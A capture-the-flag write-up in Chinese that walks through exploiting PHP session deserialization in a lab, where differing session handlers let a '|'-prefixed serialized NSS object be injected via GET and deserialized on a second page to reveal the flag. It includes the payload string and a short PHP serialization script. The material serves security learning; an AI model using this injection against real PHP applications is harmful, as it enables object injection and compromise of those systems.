image-20260102195344245

1.打开靶场,提示session反序列化

1
2
3
4
5
6
7
session反序列化触发条件为:处理session处理器不同导致格式混用

php处理session时有两个动作
1.存储:脚本结束时把$_SESSION数组序列化为字符串存入文件
2.读取:脚本开始时把文件理的字符串反序列化回$_SESSION数组

若存储的页面和读取的页面的session处理器不同,则会导致session反序列化

2.查看index2.php文件,可以看到两个页面session处理器不一样

1
2
3
当在第一个页面传入a=|O:3:"NSS":1:{s:3:"ctf";s:3:"env";}时
php_serialize会把a:1:{s:4:"name";s:34:"|O:3:"NSS":1:{s:3:"ctf";s:3:"env";}";}存入session文件
当访问第二个页面执行session_start()时,会先查看有没有PHPSESSID,有则sess_<SESSID>文件,将文件内容反序列化读出,而php处理器会寻找第一个'|',找到后会把内容看成“键名|序列化值”,在这里他会将O:3:"NSS":1:{s:3:"ctf";s:3:"env";}";}看成序列化值(后面的“;}”看成垃圾字符),然后反序列化读出,造成漏洞

image-20260102195310088

3.返回第一个页面,将其抓包

4.发送到重发器

image-20260102203051767

根据index2.php写一个序列化脚本

1
2
3
4
5
6
7
8
9
10
<?php
class NSS
{
public $ctf;
}
$a=new NSS;
$a->ctf = 'env';
echo $b=serialize($a);
echo strlen($b);
//O:3:"NSS":1:{s:3:"ctf";s:3:"env";}

5.在序列化好的字符串前面加上’|‘,进行get传参

要用相同的PHPSESSID访问两个页面,不然在index.php上传的数据不会在index2.php读出

image-20260102203418008

6.修改请求头访问index2.php

image-20260102203807329

查看响应得到flag

image-20260102203828982